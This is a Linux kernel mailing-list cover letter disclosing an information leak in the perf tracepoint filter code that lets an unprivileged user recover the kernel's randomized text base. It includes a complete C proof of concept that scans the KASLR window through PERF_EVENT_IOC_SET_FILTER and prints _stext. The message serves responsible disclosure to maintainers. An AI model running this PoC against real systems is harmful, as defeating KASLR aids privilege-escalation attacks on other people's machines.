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[169.235.27.223]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-145acc47ab8sm23752109c88.6.2026.09.27.17.00.41 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sun, 27 Sep 2026 17:00:42 -0700 (PDT) From: Zhengchuan Liang To: Steven Rostedt Cc: Masami Hiramatsu , Mathieu Desnoyers , Ross Zwisler , linux-trace-kernel@vger.kernel.org, linux-kernel@vger.kernel.org, Peter Zijlstra , linux-perf-users@vger.kernel.org, stable@vger.kernel.org, Zhengchuan Liang Subject: [PATCH 0/1] perf tracepoint filter exposes the kernel text base Date: Sun, 27 Sep 2026 17:00:30 -0700 Message-Id: X-Mailer: git-send-email 2.25.1 Precedence: bulk X-Mailing-List: linux-trace-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi, I found and validated an information leak in kernel/trace/trace_events_filter.c. An unprivileged user can recover the randomized kernel text base, revealing the kernel's KASLR slide, by observing PERF_EVENT_IOC_SET_FILTER return values for a disabled, count-only perf tracepoint event. Such an event can be opened with exclude_kernel=1 and sample_type=0. The ioctl nevertheless accepts .function predicates. A numeric operand is passed to kallsyms_lookup_size_offset(), so success distinguishes an address in the kernel image from one outside it. A symbolic operand likewise resolves a kernel symbol internally and can compare its address with a task-controlled tracepoint field. Here is a minimized numeric PoC for an x86_64 kernel built with CONFIG_KALLSYMS_ALL=y. The scan uses 2 MiB steps, the minimum permitted value of CONFIG_PHYSICAL_ALIGN on x86_64, and covers the 1 GiB virtual KASLR window. Event ID 5 identifies the built-in TRACE_PRINT event. The upstream default is perf_event_paranoid=2. Some distributions retain that setting, while others use a stricter value. With the default setting, run the PoC as an unprivileged user: #define _GNU_SOURCE #include #include #include #include #include int main(void) { struct perf_event_attr a = { .type = PERF_TYPE_TRACEPOINT, .size = sizeof(a), .config = 5, .disabled = 1, .exclude_kernel = 1, }; int fd = syscall(SYS_perf_event_open, &a, 0, -1, -1, 0); char filter[64]; if (fd < 0) return 1; for (unsigned long long p = 0xffffffff80000000ULL; p < 0xffffffffc0000000ULL; p += 0x200000ULL) { snprintf(filter, sizeof(filter), "ip.function == 0x%llx", p); if (!ioctl(fd, PERF_EVENT_IOC_SET_FILTER, filter)) { printf("_stext=0x%llx\n", p); return 0; } } return 2; } I reproduced the leak under these conditions as an unprivileged user on a kernel built from the current upstream tree. The reported _stext matched the value in /proc/kallsyms as read by root. The PoC needs no tracefs access or perf sample data.